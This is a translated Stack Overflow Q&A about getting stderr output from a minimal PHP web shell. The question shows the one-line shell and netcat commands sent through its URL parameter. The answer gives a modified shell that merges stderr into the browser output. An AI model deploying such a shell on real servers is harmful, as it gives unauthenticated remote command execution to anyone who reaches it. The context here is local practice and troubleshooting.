首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >问答首页 >在简单PHP shell中查看stderr输出

在简单PHP shell中查看stderr输出
EN

Stack Overflow用户
提问于 2018-04-07 01:50:43
回答 1查看 995关注 0票数 0

我不确定这是否更像是PHP问题,而不是Linux问题,但现在开始了。

我正在练习网壳,并且有一个非常简单的,看起来像这样;

代码语言:javascript
运行
复制
<?php system($_GET['cmd']); ?>

在我的终端中,我可以查看netcat的帮助文件,如下所示;

代码语言:javascript
运行
复制
nc -h

我相信这是对stderr的输出。在我的终端中,我可以将输出重定向到这样的文件中;

代码语言:javascript
运行
复制
nc &> blah

然后我就能看到结果了。但是,如果我通过php webshell尝试使用相同的技巧,就不会创建任何文件。即运行这些命令什么也不做;

代码语言:javascript
运行
复制
http://localhost/shell.php?cmd=nc -h &> blah
#encoded
http://localhost/shell.php?cmd=nc%20-h%20%26%3E%20blah

为什么它在我的webshell中失败了,我需要在语法中做哪些调整才能让它工作呢?我可以发出命令(例如ls或ls -版本),并且可以看到标准输出。

最后,我希望完全避免写入文件,只需在webshell中看到命令的所有输出,但我认为这是更容易的第一步。欢迎对后来者提出建议!

EN

回答 1

Stack Overflow用户

回答已采纳

发布于 2018-04-07 02:35:26

我想明白了;

问题是,这个符号正在抛出web命令,所以它需要转义。跳过文件写入,我们可以将stderr重定向到stdout,以查看浏览器中的所有输出(stdout和stderr);

代码语言:javascript
运行
复制
?cmd=nc -h 2>%261

此外,可以修改web,而不是在每个命令中添加2>%261,以便为我们完成提升;

代码语言:javascript
运行
复制
<?php system($_GET['cmd'] . ' 2>&1'); ?>

然后我们只需执行命令direclty,并在浏览器中看到stderr和stdout输出。

代码语言:javascript
运行
复制
?cmd=nc -h

它似乎不尊重原来的输出格式,但这是另一个问题.

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/49703024

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档